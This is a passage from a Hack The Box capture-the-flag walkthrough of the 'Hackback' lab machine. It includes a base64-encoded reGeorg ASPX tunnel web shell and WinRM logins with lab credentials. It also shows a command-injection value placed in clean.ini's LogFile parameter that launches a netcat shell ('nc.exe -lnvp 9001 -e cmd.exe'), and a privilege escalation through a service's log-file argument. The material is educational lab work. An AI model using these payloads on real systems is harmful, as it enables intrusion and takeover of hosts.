ik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIFJlc3BvbnNlLkFkZEhlYWRlcigiWC1FUlJPUiIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIFJlc3BvbnNlLkFkZEhlYWRlcigiWC1TVEFUVVMiLCAiRkFJTCIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgaWYgKGNtZCA9PSAiUkVBRCIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFNvY2tldCBzID0gKFNvY2tldClTZXNzaW9uWyJzb2NrZXQiXTsKICAgICAgICAgICAgICAgIHRyeQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGludCBjID0gMDsKICAgICAgICAgICAgICAgICAgICBieXRlW10gcmVhZEJ1ZmYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICAgICAgICAgIHRyeQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKChjID0gcy5SZWNlaXZlKHJlYWRCdWZmKSkgPiAwKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBieXRlW10gbmV3QnVmZiA9IG5ldyBieXRlW2NdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9BcnJheS5Db25zdHJhaW5lZENvcHkocmVhZEJ1ZmYsIDAsIG5ld0J1ZmYsIDAsIGMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgU3lzdGVtLkJ1ZmZlci5CbG9ja0NvcHkocmVhZEJ1ZmYsIDAsIG5ld0J1ZmYsIDAsIGMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgUmVzcG9uc2UuQmluYXJ5V3JpdGUobmV3QnVmZik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgUmVzcG9uc2UuQWRkSGVhZGVyKCJYLVNUQVRVUyIsICJPSyIpOwogICAgICAgICAgICAgICAgICAgIH0gICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGNhdGNoIChTb2NrZXRFeGNlcHRpb24gc29leCkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIFJlc3BvbnNlLkFkZEhlYWRlcigiWC1TVEFUVVMiLCAiT0siKTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgUmVzcG9uc2UuQWRkSGVhZGVyKCJYLUVSUk9SIiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgICAgICAgICAgUmVzcG9uc2UuQWRkSGVhZGVyKCJYLVNUQVRVUyIsICJGQUlMIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgUmVzcG9uc2UuV3JpdGUoIkdlb3JnIHNheXMsICdBbGwgc2VlbXMgZmluZSciKTsKICAgICAgICB9CiAgICB9CiAgICBjYXRjaCAoRXhjZXB0aW9uIGV4S2FrKQogICAgewogICAgICAgIFJlc3BvbnNlLkFkZEhlYWRlcigiWC1FUlJPUiIsIGV4S2FrLk1lc3NhZ2UpOwogICAgICAgIFJlc3BvbnNlLkFkZEhlYWRlcigiWC1TVEFUVVMiLCAiRkFJTCIpOwogICAgfQolPgoK")); echo 'everything is probably fine...'?>

The output appears to be normal when checking the logs as well:

[16 April 2020, 07:12:33 PM] 10.10.14.37 - Username: everything is probably fine...?, Password: everything is probably fine...?

Let’s set up the local instance of reGeorg after configuring proxychains to utilize port 1337 for the connection:

➜  HACKBACK vim /etc/proxychains.conf

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4	127.0.0.1 1337
➜  reGeorg git:(master) python reGeorgSocksProxy.py -l 127.0.0.1 -p 1337 -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx

    
                     _____
  _____   ______  __|___  |__  ______  _____  _____   ______
 |     | |   ___||   ___|    ||   ___|/     \|     | |   ___|
 |     \ |   ___||   |  |    ||   ___||     ||     \ |   |  |
 |__|\__\|______||______|  __||______|\_____/|__|\__\|______|
                    |_____|
                    ... every office needs a tool like Georg

  willem@sensepost.com / @_w_m__
  sam@sensepost.com / @trowalts
  etienne@sensepost.com / @kamp_staaldraad
  
   
[INFO   ]  Log Level set to [INFO]
[INFO   ]  Starting socks server [127.0.0.1:1337], tunnel at [http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx]
[INFO   ]  Checking if Georg is ready
[INFO   ]  Georg says, 'All seems fine'

Just to verify…

Hackback - reGeorg Connected

Nice. Now that we have our tunnel working, let’s go ahead and add the credentials we found earlier to a Windows Remote Management connection script called winrm_shell.rb, created by a fellow Hack The Box member named alamot (tied in with proxychains, of course). We can clone the script to /opt and run it according to the syntax provided in its usage menu.

#!/usr/bin/ruby
require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.128:5985/wsman',
  transport: :ssl,
  user: 'simple',
  password: 'ZonoProprioZomaro:-(',
  :no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = STDIN.gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end

Once we have the necessary information adjusted, we can give it a try.

Hackback - WinRM Connected

Woohoo! We finally managed to connect as simple. However, after checking out the directories, there still doesn’t appear to be a user.txt file…

PS hackback\simple@HACKBACK Desktop> dir -h

    Directory: C:\Users\simple\Desktop

Mode                LastWriteTime         Length Name                                                                                                                                                                                                    
----                -------------         ------ ----                                                                                                                                                                                                    
-a-hs-       12/21/2018   6:20 AM            282 desktop.ini                                                                                                                                                                                          
PS hackback\simple@HACKBACK Desktop> type desktop.ini

[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21769
IconResource=%SystemRoot%\system32\imageres.dll,-183

Privilege Escalation & Obtaining user.txt

Enumeration is going to be pretty annoying for us at this point, especially since the WinRM shell is already a bit slow while running through the reGeorg tunnel. Upon traversing to C:\ however, we locate an interesting hidden directory in util called scripts.

PS hackback\simple@HACKBACK C:\> cd util
PS hackback\simple@HACKBACK util> dir -h


    Directory: C:\util


Mode                LastWriteTime         Length Name                                                                                                                                                                                                    
----                -------------         ------ ----                                                                                                                                                                                                    
d--h--       12/21/2018   6:21 AM                scripts

Checking permissions on the directory, we notice it is owned by a user called hacker.

PS hackback\simple@HACKBACK > Get-Acl | fl


Path   : Microsoft.PowerShell.Core\FileSystem::C:\util\scripts
Owner  : HACKBACK\hacker
Group  : HACKBACK\None
Access : CREATOR OWNER Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         HACKBACK\simple Allow  ReadAndExecute, Synchronize
         HACKBACK\hacker Allow  Modify, Synchronize
         HACKBACK\hacker Allow  FullControl

After entering the scripts directory, we also discover a file called clean.ini. The contents of the clean.ini file are as follows:

PS hackback\simple@HACKBACK > type clean.ini
[Main] 
LifeTime=100 
LogFile=c:\util\scripts\log.txt
Directory=c:\inetpub\logs\logfiles

Since the file appears to deal with logs, we are naturally interested in the powershell script called dellog.ps1, also located in the scripts directory. Let’s attempt to read the contents of the dellog.ps1 file as a result.

PS hackback\simple@HACKBACK > type dellog.ps1
Access to the path 'C:\util\scripts\dellog.ps1' is denied.

We are promptly denied…


Let’s try to view the dellog.bat file as well.

+*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> cat C:\util\scripts\dellog.bat
@echo off
rem =scheduled=
echo %DATE% %TIME% start bat >c:\util\scripts\batch.log
powershell.exe -exec bypass -f c:\util\scripts\dellog.ps1 >> c:\util\scripts\batch.log
for /F "usebackq" %%i in (`dir /b C:\util\scripts\spool\*.bat`) DO (
start /min C:\util\scripts\spool\%%i
timeout /T 5
del /q C:\util\scripts\spool\%%i
)

Cool! We can see the contents. The script appears to execute dellog.ps1 first and then append the resulting output to batch.log. After that it runs the contents of the spool folder. By the looks of it though, we don’t have permission to view the folder.


However, we can observe the user simple is a member of the project-managers group – a group that’s able to write to the clean.ini file.

PS hackback\simple@HACKBACK > whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID                                           Attributes                                        
==================================== ================ ============================================= ==================================================
Everyone                             Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
HACKBACK\project-managers            Alias            S-1-5-21-2115913093-551423064-1540603852-1005 Mandatory group, Enabled by default, Enabled group

We can verify this using icacls:

PS hackback\simple@HACKBACK > icacls clean.ini
clean.ini NT AUTHORITY\SYSTEM:(F)
          BUILTIN\Administrators:(F)
          HACKBACK\project-managers:(M)

At this point, a teammate of mine discovered the LogFile parameter in the clean.ini file was vulnerable to command injection. The powershell script called dellog.ps1 was used to wipe the log file, but used the LogFile parameter to pipe output. This left it vulnerable to arbitrary command injection after writing.

In the meantime, let’s upgrade to a better shell. I prefer to utilize the evil-winrm shell instead. This shell was created by another fellow Hack The Box member, and offers upload/download capabilities as well as some other cool usability features.

➜  HACKBACK proxychains evil-winrm -u simple -p 'ZonoProprioZomaro:-(' -i 127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

+*Evil-WinRM* PS C:\Users\simple\Documents>

Equipped with our new and improved shell, let’s try to upload nc.exe to the machine in an attempt to abuse the aforementioned command injection vulnerability in the clean.ini file.


We are able to upload nc.exe to the C:\Windows\System32\spool\drivers\color directory to avoid AppLocker using the built-in upload capability of evil-winrm. We can also append a cmd.exe command to call nc.exe in the LogFile parameter immediately after.

➜  HACKBACK cd www
➜  www ls -al
total 56
drwxr-xr-x 2 root root  4096 Apr 16 17:26 .
drwxr-xr-x 5 root root  4096 Apr 16 17:26 ..
-rwxr-xr-x 1 root root 45272 Apr 16 17:26 nc.exe
➜  www proxychains evil-winrm -u simple -p 'ZonoProprioZomaro:-(' -i 127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

+*Evil-WinRM* PS C:\Users\simple\Documents> cd C:\Windows\System32\spool\drivers\color
+*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> upload nc.exe
Info: Uploading nc.exe to C:\Windows\System32\spool\drivers\color\nc.exe

Data: 60360 bytes of 60360 bytes copied

Info: Upload successful!

+*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> dir


    Directory: C:\Windows\System32\spool\drivers\color


Mode                LastWriteTime         Length Name                                                                                                                                                                                                    
----                -------------         ------ ----                                                                                                                                                                                                    
-a----        9/15/2018  12:12 AM           1058 D50.camp                                                                                                                                                                                                
-a----        9/15/2018  12:12 AM           1079 D65.camp                                                                                                                                                                                                
-a----        9/15/2018  12:12 AM            797 Graphics.gmmp                                                                                                                                                                                           
-a----        9/15/2018  12:12 AM            838 MediaSim.gmmp                                                                                                                                                                                           
-a----        4/16/2020   9:33 PM          45272 nc.exe                                                                                                                                                                                                  
-a----        9/15/2018  12:12 AM            786 Photo.gmmp                                                                                                                                                                                              
-a----        9/15/2018  12:12 AM            822 Proofing.gmmp                                                                                                                                                                                           
-a----        9/15/2018  12:12 AM         218103 RSWOP.icm                                                                                                                                                                                               
-a----        9/15/2018  12:12 AM           3144 sRGB Color Space Profile.icm                                                                                                                                                                            
-a----        9/15/2018  12:12 AM          17155 wscRGB.cdmp                                                                                                                                                                                             
-a----        9/15/2018  12:12 AM           1578 wsRGB.cdmp

We’re then able to modify the clean.ini file to contain a cmd.exe call to nc.exe and our listener’s port (9001) running over proxychains.

+*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo [Main] > C:\util\scripts\clean.ini
+*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo LifeTime=100 >> C:\util\scripts\clean.ini
+*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo "LogFile=c:\util\scripts\log.txt & cmd.exe /c C:\windows\system32\spool\drivers\color\nc.exe -lnvp 9001 -e cmd.exe" >> C:\util\scripts\clean.ini
+*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> type C:\util\scripts\clean.ini
[Main]
LifeTime=100
LogFile=C:\util\scripts\log.txt & cmd.exe /c C:\Windows\System32\spool\drivers\color\nc.exe -lvp 9001 -e cmd.exe

After a couple retries starting and restarting (and restarting again…) our listener, we catch a shell as the user hacker. We’re finally able to view user.txt!

➜  HACKBACK proxychains nc hackback.htb 9001
ProxyChains-3.1 (http://proxychains.sf.net)
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami 
whoami 
hackback\hacker

C:\Windows\system32>cd C:\Users\hacker\Desktop & type user.txt
cd C:\Users\hacker\Desktop & type user.txt
922449f8e39c2<redacted>

Enumerating as hacker

Now that we are operating as hacker, we can refer to some of the services running on the machine to determine what we may be able to control. Running grep for user can help us locate a couple interesting ones; a service called UserLogger as well as another called UserManager.

➜  www curl -s http://10.10.10.128:6666/services > ../services.txt
➜  www cd ..;cat services.txt| grep User
        "displayname":  "Connected User Experiences and Telemetry",
        "displayname":  "User Profile Service",
        "displayname":  "User Access Logging Service",
        "displayname":  "User Experience Virtualization Service",
        "displayname":  "Remote Desktop Services UserMode Port Redirector",
        "name":  "UserLogger",
        "displayname":  "User Logger",
        "name":  "UserManager",
        "displayname":  "User Manager"

Maintaining the theme of logs, we’re able to determine UserLogger might be a solid one to check out first. Let’s query the service to check its current status.

C:\Users\hacker\Desktop>cmd /c "sc qc userlogger"
cmd /c "sc qc userlogger"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: userlogger
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\windows\system32\UserLogger.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : User Logger
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

Nice, we verified the path of the binary as well: c:\windows\system32\UserLogger.exe. Let’s also run sdshow to determine if the user hacker is able to start/stop the service.

C:\Users\hacker\Desktop>cmd /c "sc sdshow userlogger"
cmd /c "sc sdshow userlogger"

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCLCSWRPWPDTLORC;;;S-1-5-21-2115913093-551423064-1540603852-1003)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;BU)(A;;CCLCSWRPWPLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)

Perfect. We can verify this again by copying the SID S-1-5-21-2115913093-551423064-1540603852-1003 and then running wmic to compare it with the SID of hacker.

C:\Users\hacker\Desktop>cmd /c "wmic useraccount where name='hacker' get sid"
cmd /c "wmic useraccount where name='hacker' get sid"
SID                                            
S-1-5-21-2115913093-551423064-1540603852-1003 

They match, so now we’re positive our current user can start/stop the UserLogger service.


While we’re at it, let’s also check some additional details about the service with Powershell.

+*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> get-service userlogger | fl *
Name                : userlogger
RequiredServices    : {}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : True
DisplayName         : User Logger
DependentServices   : {}
MachineName         : .
ServiceName         : userlogger
ServicesDependedOn  : {}
ServiceHandle       : 
Status              : Running
ServiceType         : Win32OwnProcess
StartType           : Manual
Site                : 
Container           :

We should also try to download the userlogger.exe binary using the evil-winrm shell to reverse it and fully understand what it’s doing.

+*Evil-WinRM* PS C:\Windows\System32> download userlogger.exe
Info: Downloading C:\Windows\System32\userlogger.exe to userlogger.exe

Info: Download successful!

----

➜  www ls -al
total 112
drwxr-xr-x 2 root root  4096 Apr 17 10:42 .
drwxr-xr-x 5 root root  4096 Apr 17 10:08 ..
-rwxr-xr-x 1 root root 45272 Apr 16 17:26 nc.exe
-rw-r--r-- 1 root root 54784 Apr 17 10:42 userlogger.exe
➜  www 

No need to reverse this entirely yet. Let’s try the lazy route and run strings.

➜  www strings userlogger.exe
!This program cannot be run in DOS mode.
Rich]
UPX0
UPX1

We notice the third and fourth lines include UPX0 and UPX1, which refers to UPX file packing.

Let’s try utilizing upx for linux with the -d flag to decompress the UPX packed binary.

➜  www upx -d userlogger.exe -o userlogger.upx.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     90624 <-     54784   60.45%    win64/pe     userlogger.upx.exe

Unpacked 1 file.

This will make the strings output display more calls/functions, therefore creating more useful output.

➜  www strings userlogger.upx.exe 
...
GetOEMCP
GetCPInfo
GetEnvironmentStringsW
FreeEnvironmentStringsW
SetEnvironmentVariableW
CompareStringW
LCMapStringW
SetStdHandle
GetFileType
GetStringTypeW
GetProcessHeap
HeapSize
HeapReAlloc
FlushFileBuffers
GetConsoleCP
GetConsoleMode
SetFilePointerEx
WriteConsoleW

We can import the unpacked binary into Ghidra to further reverse the functions.

Hackback - UserLogger.exe Ghidra Import

Ghidra then analyzes the binary upon importing as well.

Hackback - UserLogger.exe Ghidra Analysis

After doing some further analysis, we can determine the binary accepts an argument.

Hackback - UserLogger.exe Takes Argument

Further examination reveals a .log file is generated with the same name as the argument.

Hack The Box - Hackback

We are able to verify this process by creating a dummy .log file and specifying it as a parameter when starting the UserLogger service.

C:\Users\hacker\Documents>sc start userlogger c:\users\hacker\documents\farbs.log
sc start userlogger c:\users\hacker\documents\farbs.log

SERVICE_NAME: userlogger 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3616
        FLAGS              : 

Afterwards, we observe another .log file has been generated as expected.

C:\Users\hacker\Documents>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 00A3-6B07

 Directory of C:\Users\hacker\Documents

04/17/2020  05:08 PM    <DIR>          .
04/17/2020  05:08 PM    <DIR>          ..
04/17/2020  05:07 PM                19 farbs.log
04/17/2020  05:08 PM                58 farbs.log.log

Let’s check the contents of it as well.

C:\Users\hacker\Documents>type farbs.log.log
type farbs.log.log
Logfile specified!
Service is starting
Service is running

Sidenote: It’s worth mentioning that your shell needs to be a 64-bit process for this to work properly, so make sure you are using a 64-bit version of netcat.


At this point it’s time for us to stop UserLogger and focus on getting a proper shell, or at least reading root.txt.

C:\Users\hacker\Documents>sc stop userlogger
sc stop userlogger

SERVICE_NAME: userlogger 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x4
        WAIT_HINT          : 0x0

We’re able to adjust permissions on the root.txt file with Powershell by appending the path of root.txt to the first UserLogger argument parameter. We can additionally append a colon : to the end of root.txt so the .log extension will no longer be appended, but the file permissions associated with it will remain intact.

PS C:\Users\Administrator> sc.exe start userlogger "c:\users\administrator\desktop\root.txt:"
sc.exe start userlogger "c:\users\administrator\desktop\root.txt:"

SERVICE_NAME: userlogger 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 5612
        FLAGS              :

Doing so results in the ability to read root.txt.

PS C:\Users\Administrator> cat c:\users\administrator\desktop\root.txt
cat c:\users\administrator\desktop\root.txt

                                __...----..
                             .-'           `-.
                            /        .---.._  \
                            |        |   \  \ |
                             `.      |    | | |        _____
                               `     '    | | /    _.-`      `.
                                \    |  .'| //'''.'            \
                                 `---'_(`.||.`.`.'    _.`.'''-. \
                                    _(`'.    `.`.`'.-'  \\     \ \
                                   (' .'   `-._.- /      \\     \ |
                                  ('./   `-._   .-|       \\     ||
                                  ('.\ | | 0') ('0 __.--.  \`----'/
                             _.--('..|   `--    .'  .-.  `. `--..'
               _..--..._ _.-'    ('.:|      .  /   ` 0 `   \
            .'         .-'        `..'  |  / .^.           |
           /         .'                 \ '  .             `._
        .'|                              `.  \`...____.----._.'
      .'.'|         .                      \ |    |_||_||__|
     //   \         |                  _.-'| |_ `.   \
     ||   |         |                     /\ \_| _  _ |
     ||   |         /.     .              ' `.`.| || ||
     ||   /        ' '     |        .     |   `.`---'/
   .' `.  |       .' .'`.   \     .'     /      `...'
 .'     \  \    .'.'     `---\    '.-'   |
)/\ / /)/ .|    \             `.   `.\   \
 )/ \(   /  \   |               \   | `.  `-.
  )/     )   |  |             __ \   \.-`    \
         |  /|  )  .-.      //' `-|   \  _   /
        / _| |  `-'.-.\     ||    `.   )_.--'
        )  \ '-.  /  '|     ''.__.-`\  | 
       /  `-\  '._|--'               \  `.
       \    _\                       /    `---.
       /.--`  \                      \    .''''\
       `._..._|                       `-.'  .-. |
                                        '_.'-./.'
PS C:\Users\Administrator> 

But hold up… That’s definitely not an MD5 hash. The creators of the machine are on a team called “Donkeys”, so we can imagine this is probably just a prank by the creators… NTFS file systems are capable of storing information in alternate data streams (ADS) however, so let’s check ADS contents with Powershell.

PS C:\Users\Administrator\Desktop> Get-Item -Force -Path root.txt -Stream *
Get-Item -Force -Path root.txt -Stream *


PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt::$DATA
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
PSChildName   : root.txt::$DATA
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\Administrator\Desktop\root.txt
Stream        : :$DATA
Length        : 1958

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt:.log
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
PSChildName   : root.txt:.log
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\Administrator\Desktop\root.txt
Stream        : .log
Length        : 174

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt:flag.txt
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop
PSChildName   : root.txt:flag.txt
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\Administrator\Desktop\root.txt
Stream        : flag.txt
Length        : 35

We then notice the following line:

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt:flag.txt

How obvious… The ADS for root.txt is flag.txt. With this in mind, we’re finally able to view the root flag!

PS C:\Users\Administrator\Desktop> Get-Content -Force -Path root.txt -Stream flag.txt
Get-Content -Force -Path root.txt -Stream flag.txt
6d29b069d4de8<redacted>

Thanks for reading!

Hack The Box